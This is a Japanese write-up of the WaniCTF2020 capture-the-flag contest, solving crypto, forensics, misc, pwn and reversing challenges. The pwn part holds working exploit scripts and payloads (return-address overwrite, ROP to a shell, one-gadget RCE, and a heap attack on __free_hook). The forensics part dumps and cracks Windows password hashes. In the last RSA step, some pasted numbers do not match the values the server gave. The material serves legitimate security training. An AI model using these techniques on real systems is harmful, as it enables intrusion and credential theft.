大阪大学CTFチームWani Hackase開催の初心者向けCTF大会「WaniCTF2020」は明日11月21日(土)10:00(JST)スタートです!是非ご参加ください!https://t.co/MQ6KUi9nX0#wanictf
— Hi120ki (@hi120ki) November 20, 2020
単に簡単で自明な問題を集めているわけではなく、初心者向け誘導がある問題が多いし、問題も面白くて良かった。
全完して5位。
綺麗。
Crypto
Veni, vidi (Beginner)
ROT13。
$ python2 -c 'print "SYNT{fvzcyr_pynffvpny_pvcure}".decode("rot13")'
FLAG{simple_classical_cipher}
FLAG{simple_classical_cipher}
exclusive (Easy)
XORを使った暗号です🔐
ということでXOR。
assert len(key) == len(flag) == 57
assert flag.startswith("FLAG{") and flag.endswith("}")
assert key[0:3] * 19 == key
この条件からkey
は分かる。
C = open("output.txt", "rb").read()
print("".join(chr(C[i]^b"FLA"[i%3]^C[i%3]) for i in range(len(C))))
FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
Basic RSA (Normal)
ncを繋ぎながら、別端末のPythonで解いた。Pythonは電卓。
$ nc rsa.wanictf.org 50000
:::::::.. .::::::. :::.
;;;;``;;;; ;;;` ` ;;`;;
[[[,/[[[' '[==/[[[[, ,[[ '[[,
$$$$$$c ''' $c$$$cc$$$c
888b "88bo,88b dP 888 888,
MMMM "W" "YMmMY" YMM ""`
+================================+
| Given : p, q (512-bit integer) |
| Find : n = p*q |
+================================+
p = 9136029896468066527409445298539310588067461767765080170620842684975411263704280340928272037605265901228152242335899343883808450636909880058513929090384183
q = 65203334874011821830279036168081585116160187221495803665691571194880576552045911263129529508584664553826169554068636290018042201748860301638650602322504
>>> p = 9136029896468066527409445298539310588067461767765080170620842684975411263704280340928272037605265901228152242335899343883808450636909880058513929090384183
>>> q = 65203334874011821830279036168081585116160187221495803665691571194880576552045911263129529508584664553826169554068636290018042201748860301638650602322504
>>> print(p*q)
595699616758390896228848607367948546208093898150530130892836528095532709972875150175652900364300801787772548140498371343753783112470761184730934055560744953502258297453479272175889959391484962850196280165168938848402065776833130331094309372263668486493928554149168608095706031548238484369230071593426554232
[n?] > 595699616758390896228848607367948546208093898150530130892836528095532709972875150175652900364300801787772548140498371343753783112470761184730934055560744953502258297453479272175889959391484962850196280165168938848402065776833130331094309372263668486493928554149168608095706031548238484369230071593426554232
[+] Correct! Proceed to the next challenge ->
+=======================================+
| Given : m ) Message |
| e ) Public exponent |
| n ) p*q (p, q 512-bit prime) |
| Find : c = m**e (mod n) |
+=======================================+
m = 4615091120795158305424160941304917335
e = 65537
n = 85472330376938667159912394720021640870035961502971897362010495353410667105438876784244004020105029437438759995875087939745881558145250002113178519439532815335469951542246596794478918458483994283906424156730761406240853071361097176942404998209320305292610531138629197685555527501811204424172384891699058665261
>>> m = 4615091120795158305424160941304917335
>>> e = 65537
>>> n = 85472330376938667159912394720021640870035961502971897362010495353410667105438876784244004020105029437438759995875087939745881558145250002113178519439532815335469951542246596794478918458483994283906424156730761406240853071361097176942404998209320305292610531138629197685555527501811204424172384891699058665261
>>> print(pow(m, e, n))
41175873292029364637790434689773546849479202569722554058036955198209231793110740603566794540544679059243354097969532480220665775920306764659528854111011246291527654098159196139712713500634392381415793564739445954675546050501243701324956385812056522016779510571290902329552390483089870286377619565878087309713
[c?] > 41175873292029364637790434689773546849479202569722554058036955198209231793110740603566794540544679059243354097969532480220665775920306764659528854111011246291527654098159196139712713500634392381415793564739445954675546050501243701324956385812056522016779510571290902329552390483089870286377619565878087309713
[+] Correct! Proceed to the final challenge!
+=====================================+
| Given : p, q ) 512-bit primes |
| e ) Public exponent |
| c ) Encrypted message |
| = m**e (mod p*q) |
| Find : m ) Message |
+=====================================+
p = 11538804225361169040466425577847495609798542569910442372183888508794210153329760507133685996620864879929853347672305609596450222661284455432798283786014617
q = 8420285075880200211562433812319925225711517249217593660475959768888127464660272441020669409675615266605577640101462490423456937878187046899006598583871993
e = 65537
c = 32754119005186816373654680226759895436591165781165550381961300735952598943970160552924205488931761211570220137305388395903485181101070573813663960213054915489021844240770030051135519255992948768188029513026798391311851135855241973139329800216712780643209083243996352057090557155772696934048249059256627328529
これがRSA暗号の肝。
>>> from Crypto.Util.number import *
>>> p = 11538804225361169040466425577847495609798542569910442372183888508794210153329760507133685996620864879929853347672305609596450222661284455432798283786014617
>>> q = 2028507584202850758802002115624338123199252257115172492175936604759597688881274646602724410206694096756152666055462490423456937878187046899006598583871993
>>> e = 65537
>>> c = 327541190051868163736546802267598954365911657811655503819613007359525989439701605529242054889317612115705388395903485181101070573813663960213054915489021844240770030051135519255992948768188029513026798391311851135855241973139329800216712780643209083243996352057090557155772696934048249059256627328529
>>> d = inverse(e, (p-1)*(q-1))
>>> n = p*q
>>> print(pow(c, d, n))
155436926257584742995180438185020491511
[m?] > 155436926257584742995180438185020491511
[+] Correct! Here's your reward: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
LCG crack (Hard)
安全な暗号は安全な乱数から
良い言葉。この問題の乱数は安全ではない線形合同法。64ビットの乱数$a$, $b$, $x_0$と64ビットの素数$m$を使って、$x_1=(ax_0+b) \mod m$, $x_2=(ax_1+b) \mod m$, …と乱数を生成している。何個か乱数を要求して、次の乱数を連続10個当てられたら勝ち。
(x_3-x_2) = a(x_2-x_1) \mod m \\
(x_4-x_3) = a(x_3-x_1) \mod m
で、$b$をキャンセルできる。この2式をユークリッドの互除法のように足し引きすると、たまたま$(x_3-x_2)$と$(x_4-x_3)$が互い素ならば、$1=aa^{-1} \mod m$という式を作れ、法$m$に対して$a$の逆数となる$a^{-1}$が得られる。ここからどうするか悩んだけれど、
(x_2-x_1) = a^{-1} (x_3-x_2) \mod m \\
(x_2-x_1) = a^{-1} (x_3-x_2) + km \\
km = (x_2-x_1)-a^{-1} (x_3-x_2)
$(x_2-x_1)-a^{-1} (x_3-x_2)$を素因数分解して64ビット程度の素因数が$m$。あとは$a$も$b$も求められる。
from pwn import *
s = connect("lcg.wanictf.org", 50001)
def next():
s.sendlineafter("> ", "1")
return int(s.recvline())
x1 = next()
x2 = next()
x3 = next()
x4 = next()
print("x:", x1, x2, x3, x4)
def f(y1, x1, y2, x2):
if abs(y1)<abs(y2):
return f(y2, x2, y1, y2)
if abs(y1)==1:
return x1*y1
t = y1//y2
return f(y2, x2, y1-y2*t, x1-x2*t)
ainv = f(x3-x2, x2-x1, x4-x3, x3-x2)
print("km =", ainv*(x3-x2)-(x2-x1))
m = int(input("m = "))
a = pow(ainv, m-2, m)
b = (x4-x3*a)%m
print("a =", a)
print("b =", b)
s.sendlineafter("> ", "2")
x = x4
for i in range(10):
x = (x*a+b)%m
s.sendlineafter("next number!", str(x))
print(s.recvline().decode())
print(s.recvline().decode())
print(s.recvline().decode())
64ビット整数が出てくるような素因数分解は大変なので、ここだけmsieveを使って計算した。
$ python3 solve.py
[+] Opening connection to lcg.wanictf.org on port 50001: Done
x: 7158986919512018041 9398927598319898568 5489686127298289447 4496120822406783257
km = 14433051746544692677192175454371715603432148162343263705
m = 13402779987139139881
a = 509448527007603858
b = 2723093169726933736
> - Correct!
Congratz! FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
l0g0n (Very hard)
Very hardだけど、Enterキーを2回押せば解ける
$ nc l0g0n.wanictf.org 50002
Challenge (hex) >
Server challenge: 77202785c79fa0a5
Credential (hex) >
OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'
CredentialとChallengeを暗号化した結果の比較をしていて、暗号化は入力した長さと同じ長さの文字列を返すので、長さが0の空文字列ならば条件を満たす。
【技術解説】「Zerologon」を振り返る|過去最悪レベルと称された脆弱性の仕組みとは?
どちらも8バイトの00
を入力すると、1/256の確率で通るのが想定解法かな?
FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
Forensics
logged_flag (Beginner)
ワニ博士が問題を作っていたので、作っているところをキーロガーで勝手に記録してみました。
文字を拾う。
FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
ALLIGATOR_01 (Easy)
ワニ博士のPCでは,悪意のあるプロセスが実行されているみたいです。
取得したメモリダンプから、”evil.exe”が実行された日時を報告してください。
volatilityをオススメされているので素直に使う。
>volatility_2.6_win64_standalone.exe imageinfo -f ALLIGATOR.raw
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (C:\documents\ctf\wani2020\ALLIGATOR_01\ALLIGATOR.raw)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82754de8L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x80b96000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2020-10-26 03:04:49 UTC+0000
Image local date and time : 2020-10-25 20:04:49 -0700
>volatility_2.6_win64_standalone.exe pstree -f ALLIGATOR.raw --profile Win7SP1x86_23418
Volatility Foundation Volatility Framework 2.6
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0x84a54ab0:csrss.exe 328 320 9 411 2020-10-26 19:00:23 UTC+0000
. 0x84aeab70:conhost.exe 336 328 2 33 2020-10-26 03:00:28 UTC+0000
:
. 0x84dd6b28:evil.exe 3632 2964 1 21 2020-10-26 03:01:55 UTC+0000
:
FLAG{2020-10-26_03:01:55_UTC+0000}
ALLIGATOR_02 (Normal)
コマンドプロンプトの実行履歴からFLAGを見つけてください。
(ALLIGATOR_01で配布されているファイルを使ってください)
メモリ中に文字列がそのまま残っているでしょう。
$ strings ALLIGATOR.raw | grep FLAG{
FLAG{y0u_4re
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
ALLIGATOR_03 (Hard)
Dr.WANIはいつも同じパスワードを使うらしいです。
Dr.WANIのパソコンから入手したパス付のzipファイルを開けて、博士の秘密を暴いてしまいましょう。
(ALLIGATOR_01で配布されているファイルを使ってください)
いつも同じということは、PCのログインパスワードも同じだよね。
[SECCON] Forensics300 ログインパスワードを解明せよ | ごみばこいん Blog
を参考に。
>volatility_2.6_win64_standalone.exe hivelist -f ALLIGATOR.raw --profile Win7SP1x86_23418
Volatility Foundation Volatility Framework 2.6
Virtual Physical Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat
0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat
0x8780a6b8 0x282fb6b8 [no name]
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM
0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE
0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD
0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE
0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat
0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT
0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat
0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat
>volatility_2.6_win64_standalone.exe hashdump -f ALLIGATOR.raw --profile Win7SP1x86_23418 -y 0x8781a008 -s 0x93791458
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
これをJohn the ripperに掛けてみたけど、数時間掛けても出てこない。Rainbow Tableを使うべきだった?
に5e7a211fee4f7249f9db23e4a07d7590
を入力したら出てきた。パスワードはilovewani
。
FLAG{The_Machikane_Crocodylidae}
chunk_eater (Normal)
pngの必須チャンクをワニ博士が食べてしまいました!
必須チャンクのチャンクタイプが全部WANI
になっている。順番にIHDR
、IDAT
、IDAT
、IDAT
、IEND
に直す。
ワニ博士、食べかけのIHDRが口の中に見えて可愛い。
素人が描いたイラストとは思えなかったけど、こういうことか。学内関係者なら(自由に?)使えるの素晴らしい。
zero_size_png (Very hard)
この画像のサイズは本当に0×0ですか?
そんなわけはないので、チャンクのCRCが正しくなるような幅と高さを探す。
from binascii import *
for w in range(2000):
for h in range(2000):
ihdr = bytes([
0x49, 0x48, 0x44, 0x52, 0x00, 0x00, w//256, w%256,
0x00, 0x00, h//256, h%256, 0x08, 0x06, 0x00, 0x00,
0x00])
if crc32(ihdr)==0xb55951a1:
print(w, h)
break
$ python3 solve.py
599 781
FLAG{Cyclic_Redundancy_CAT}
Misc
Find a Number (Beginner)
隠された数字を当てるとフラグが表示されます.
数字は0以上500000以下であることが保証されています.
スクリプトを書くのが面倒だったので、人力で二分探索をした。
$ nc number.wanictf.org 60000
find a number
challenge 0
input:250000
too small
try again!
challenge 1
input:400000
too big
try again!
challenge 2
input:300000
too big
try again!
:
challenge 14
input:279925
too small
try again!
challenge 15
input:279940
correct!!!
FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
最後はなかなか運が良かった。
FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
MQTT Challenge (Normal)
噂の軽量プロトコル「MQTT」をテストするページを作ったよ。どこかに秘密のトピックがあるから探してみてね。
ググったところ、MQTTは#
がワイルドカードで全てのトピックをサブスクライブできるらしい。
topic:nkt/test, message:"World! FROM:wani_admin TIME:2020-11-22 14:18:19"
topic:nkt/hoge, message:"hoge?hoge? FROM:wani_student TIME:2020-11-22 14:18:22"
topic:nkt/huga, message:"huga?hoge? FROM:wani_teacher TIME:2020-11-22 14:18:26"
topic:flag, message:"FAKE{this_is_fake_flag} TIME:2020-11-22 14:18:29"
topic:nkt/wani, message:"WaniCTF MQTT Challenge! TIME: 2020-11-22 14:18:32"
topic:nkt/flag, message:"FAKE{fake_huga_hoge} TIME:2020-11-22 14:18:35"
topic:top/secret/himitu/daiji/mitara/dame/zettai/flag, message:"FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23} TIME:2020-11-22 14:18:38"
FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
PWN
netcat (Beginner)
netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も表示されなくても知っているコマンドを打ってみましょう。
繋いだ時点で攻撃が成功する(シェルが取れている)ので、コマンドを打つだけ。
$ nc netcat.wanictf.org 9001
congratulation!
ls -al
total 28
drwxr-xr-x 1 root pwn 4096 Nov 13 07:35 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn 8656 Nov 13 07:34 chall
-r--r----- 1 root pwn 33 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh
cat flag.txt
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
var rewrite (Beginner)
stackの仕組みを理解する必要があります。
ローカル変数はstackに積まれます。
ローカル変数を書き換えて下さい。
:
void vuln()
{
char target[] = "HACKASE";
char name[10];
:
if (strncmp(target, "WANI", 4) == 0)
{
win();
}
:
スタック上でname
の直後にtarget
がある。
$ nc var.wanictf.org 9002
What's your name?: 0123456789WANI
hello 0123456789WANI!
Congratulation!
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
binsh address (Easy)
:
char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";
:
str_head
のアドレスは教えてくれる。"/bin/sh"
のアドレスを答えればクリア。
Pwnableで攻撃をするときにはsystem("/bin/sh")
を実行したいので、その前提となる"/bin/sh"
の取得方法が分かりますか? ということだよね。PIEが有効でも、相対位置は変化しない。
$ readelf -s pwn03
:
49: 0000000000202010 15 OBJECT GLOBAL DEFAULT 23 str_head
:
59: 0000000000202020 8 OBJECT GLOBAL DEFAULT 23 binsh
:
下位1バイトを20
に書き換えれば良い。
$ nc binsh.wanictf.org 9003
The address of "input " is 0x559e68e44010.
Please input "/bin/sh" address as a hex number: 559e68e44020
Your input address is 0x559e68e44020.
Congratulation!
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
got rewriter (Easy)
global offset table (GOT)の仕組みを理解する必要があります。
printf
などの関数の実態はlibc.soの中にある。アドレスは環境や実行ごとに変わるので実行ファイル中に埋め込むわけにはいかない。呼び出しのたびにアドレスを解決していると遅くなるのでキャッシュする仕組みがGOTだと思えば良い。
$ objdump -d -M intel pwn04
:
00000000004006d0 <printf@plt>:
4006d0: ff 25 62 09 20 00 jmp QWORD PTR [rip+0x200962] # 601038 <printf@GLIBC_2.2.5>
4006d6: 68 04 00 00 00 push 0x4
4006db: e9 a0 ff ff ff jmp 400680 <.plt>
実行開始時、0x601038には0x4006d6が入っていて、0x4006d6からの処理はprintf
のアドレスを解決して呼び出しつつ、0x601038にprintf
のアドレスを代入する。
0x601038にwin
のアドレスを代入しておくと、プログラムはprintf
を呼び出したつもりでもwin
が実行される。普通は何らかの脆弱性を使って代入を行うけれど、この問題では好きなアドレスに好きな値を書き込める。
$ nc got.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.
*0x601038 <- 0x400807.
congratulation!
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
ret rewrite (Normal)
stackの仕組みを学びましょう。
関数の戻りアドレスはstackに積まれます。
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。
問題文の誘導がありがたいし、関数終了直前にスタックの内容も表示してくれる。変数がchar name[10]
と(16進数では)キリの悪いサイズで配置が難しいけれど、表示されるスタックの中身を見ながら合わせれば良い。
$ (echo -e "0123456789abcdef012345\x39\x08\x40"; cat) | nc ret.wanictf.org 9005
What's your name?: Hello 0123456789!
***start stack dump***
0x7ffe83259730: 0x3534333231309830 <- rsp
0x7ffe83259738: 0x0000001a39383736
0x7ffe83259740: 0x3534333231306665 <- rbp
0x7ffe83259748: 0x0000000000400839 <- return address
0x7ffe83259750: 0x0000000000400a50
0x7ffe83259758: 0x00007fef1817bbf7
0x7ffe83259760: 0x0000000000000001
***end stack dump***
congratulation!
cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}
rop func call (Normal)
x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。
pwntoolsを使わないと解くのは大変だと思います。
念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
まだpwntoolsを使わなくてもいけるな。pop r15; ret
の先頭1バイトを削るとpop rdi; ret
になるので、rdi
への代入にはここを使う。rdi
に"/bin/sh"
を代入して、system
に飛ぶ。直接PLTに飛ばすとスタックのアラインがずれて失敗するので、call 4006c0 <system@plt>
に飛ばしましょう
$ (echo -e "0123456789abcdef012345\x53\x0a\x40\x00\x00\x00\x00\x00\x80\x10\x60\x00\x00\x00\x00\x00\xaf\x08\x40\x00\x00\x00\x00\x00"; cat) | nc rop.wanictf.org 9006
Welcome to rop function call!!!
What's your name?: hello 0123456789/!
***start stack dump***
0x7ffc70f18db0: 0x3534333231300000 <- rsp
0x7ffc70f18db8: 0x0000002f39383736
0x7ffc70f18dc0: 0x3534333231306665 <- rbp
0x7ffc70f18dc8: 0x0000000000400a53 <- return address
0x7ffc70f18dd0: 0x0000000000601080
0x7ffc70f18dd8: 0x00000000004008af
0x7ffc70f18de0: 0x0000000000000000
***end stack dump***
cat flag.txt
FLAG{learning-rop-and-x64-system-call}
FLAG{learning-rop-and-x64-system-call}
one gadget rce (Hard)
ROPを使ったlibcのロードアドレスのリークを理解する必要があります。
libc上にあるone gadget RCE (Remote Code Execution)の探し方と呼び出し方を理解する必要があります。
まずはOne-gadget RCEを探す。
$ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
普通は、次にlibcのアドレスを手に入れる方法を考える必要がある。でも、この問題ではスタックを中身を表示してくれて、その中にmain
関数の戻り先のアドレスがある。戻り先はlibc。
$ nc rce.wanictf.org 9007
Welcome to one-gadget RCE!!!
What's your name?: a
hello a!
***start stack dump***
0x7ffdae2e4130: 0x00007ffd00614150 <- rsp
0x7ffdae2e4138: 0x00000002004006c0
0x7ffdae2e4140: 0x00007ffdae2e4150 <- rbp
0x7ffdae2e4148: 0x000000000040087e <- return address
0x7ffdae2e4150: 0x00000000004009b0
0x7ffdae2e4158: 0x00007ffbc31c0bf7
0x7ffdae2e4160: 0x0000000000000001
***end stack dump***
What's your name?:
これの0x00007ffbc31c0bf7
。プログラムの表示を読んでlibcとone-gadget RCEのアドレスを計算し、戻り先のアドレスを上書きすれば良い。One-gadget RCEの制約を満たすために、スタックに00
を書き込んでおかないといけなかった。
from pwn import *
context.arch = "amd64"
s = remote("rce.wanictf.org", 9007)
s.sendlineafter("What's your name?: ", "a")
start_main = int(s.recvuntil("bf7\n").split()[-1][2:], 16)
rce = start_main-0x21bf7+0x4f432
s.sendlineafter("What's your name?: ", b"a"*0x16+pack(rce)+bytes(0x80))
s.interactive()
$ python3 attack.py
[+] Opening connection to rce.wanictf.org on port 9007: Done
[*] Switching to interactive mode
hello aaaaaaaaaa\x9f!
***start stack dump***
0x7fff1482d090: 0x616161616161d0b0 <- rsp
0x7fff1482d098: 0x0000009f61616161
0x7fff1482d0a0: 0x6161616161616161 <- rbp
0x7fff1482d0a8: 0x00007ff116726432 <- return address
0x7fff1482d0b0: 0x0000000000000000
0x7fff1482d0b8: 0x0000000000000000
0x7fff1482d0c0: 0x0000000000000000
***end stack dump***
$ cat flag.txt
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
heap (Very hard)
これが作問者の現在の限界です。
わかる。さすがに自分で解いていない問題出したら怒られるだろうし、自分が解ける問題しか出せない。
脆弱性はヒープバッファオーバフロー。
- 0x420以上のサイズのチャンクを解放してunsortedに繋ぐ
- このチャンクの直前のチャンクのヒープバッファオーバフローで
fd
の直前まで文字を書き込み、読み出すことでfd
の値(=libcのアドレス)を手に入れる - 小さなサイズのチャンクを解放してtcacheに繋ぐ
- このチャンクの直前のチャンクのヒープバッファオーバフローで
fd
を__free_hook
のアドレスに書き換える - 同じサイズのチャンクを確保すると解放したチャンクが返ると同時に、tcacheに
__free_hooK
のアドレスが繋がれる - さらに同じサイズのチャンクを確保すると
__free_hook
のアドレスが返る - ここに
system
のアドレスを書き込む -
"/bin/sh"
を格納したチャンクを解放すると、system("/bin/sh")
が呼び出される
という流れで攻撃する。glibc 2.27ではtcacheが空かどうかの判定は、個数ではなく、ポインタがNULL
かどうかなので、tcacheの個数を調節する必要は無い。チャンクを壊さないように気を使ったり、チャンクの再利用を考えたりが面倒なので、必要なチャンクは全部最初に確保しておくと良い。
index?[0-9]:
で入力するindexの範囲がチェックされていないという脆弱性もあり、これで何か楽ができないか考えてみたけれど思いつかなかった。
from pwn import *
context.binary = "pwn08"
s = remote("heap.wanictf.org", 9008)
def add(index, size):
s.sendlineafter("command?: ", "1")
s.sendlineafter("index?[0-9]: ", str(index))
s.sendlineafter("size?: ", str(size))
def edit(index, data):
s.sendlineafter("command?: ", "2")
s.sendlineafter("index?[0-9]: ", str(index))
s.sendafter("memo?: ", data)
def view(index):
s.sendlineafter("command?: ", "3")
s.sendlineafter("index?[0-9]: ", str(index))
return s.recvline()
def delete(index):
s.sendlineafter("command?: ", "9")
s.sendlineafter("index?[0-9]: ", str(index))
add(0, 0x10)
add(1, 0x410)
add(2, 0x10)
add(3, 0x10)
add(4, 0x10)
delete(1)
edit(0, b"x"*0x20)
unsorted = unpack(view(0)[0x20:-1]+b"\0\0")
print("unsorted: %x"%unsorted)
libc = ELF("libc-2.27.so")
libc.address = unsorted-0x3ebca0
delete(3)
edit(2, b"x"*0x20+pack(libc.symbols.__free_hook))
add(5, 0x10)
add(6, 0x10)
edit(6, pack(libc.symbols.system))
edit(0, b"/bin/sh\0")
delete(0)
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/wani2020/heap/pwn08'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to heap.wanictf.org on port 9008: Done
unsorted: 7feed688eca0
[*] '/mnt/d/documents/ctf/wani2020/heap/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ cat flag.txt
FLAG{I-am-a-heap-beginner}
FLAG{I-am-a-heap-beginner}
Reversing
strings (Beginner)
$ strings strings | grep FLAG
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
最初のstrings
は/usr/bin/strings、2個目が問題のバイナリ。
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
simple (Normal)
$ hexdump -C simple
:
00000790 00 00 00 c6 45 90 46 c6 45 91 4c c6 45 92 41 c6 |....E.F.E.L.E.A.|
000007a0 45 93 47 c6 45 94 7b c6 45 95 35 c6 45 96 69 c6 |E.G.E.{.E.5.E.i.|
000007b0 45 97 6d c6 45 98 70 c6 45 99 31 c6 45 9a 65 c6 |E.m.E.p.E.1.E.e.|
000007c0 45 9b 5f c6 45 9c 52 c6 45 9d 65 c6 45 9e 76 c6 |E._.E.R.E.e.E.v.|
000007d0 45 9f 65 c6 45 a0 72 c6 45 a1 73 c6 45 a2 31 c6 |E.e.E.r.E.s.E.1.|
000007e0 45 a3 6e c6 45 a4 67 c6 45 a5 5f c6 45 a6 34 c6 |E.n.E.g.E._.E.4.|
000007f0 45 a7 72 c6 45 a8 72 c6 45 a9 61 c6 45 aa 79 c6 |E.r.E.r.E.a.E.y.|
00000800 45 ab 5f c6 45 ac 35 c6 45 ad 74 c6 45 ae 72 c6 |E._.E.5.E.t.E.r.|
00000810 45 af 69 c6 45 b0 6e c6 45 b1 67 c6 45 b2 73 c6 |E.i.E.n.E.g.E.s.|
00000820 45 b3 7d c7 45 fc 00 00 00 00 eb 2f 8b 45 fc 48 |E.}.E....../.E.H|
:
配列にフラグの文字列を代入する処理があって、この部分。4バイトおきに読めば良い。
FLAG{5imp1e_Revers1ng_4rray_5trings}
complex (Hard)
この問題は「simple」問題よりも複雑なようです。
ツールの使い方をさらに調べつつ、トライしてください!
コードが複雑だったのでangrを使った。
import angr
project = angr.Project("./complex", auto_load_libs=False)
@project.hook(0x401cb9)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
$ python3 solve.py
WARNING | 2020-11-22 17:06:03,394 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2020-11-22 17:06:03,813 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2020-11-22 17:06:03,813 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2020-11-22 17:06:03,814 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2020-11-22 17:06:03,814 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2020-11-22 17:06:03,814 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2020-11-22 17:06:03,814 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x700020 (strlen+0x0 in extern-address space (0x20))
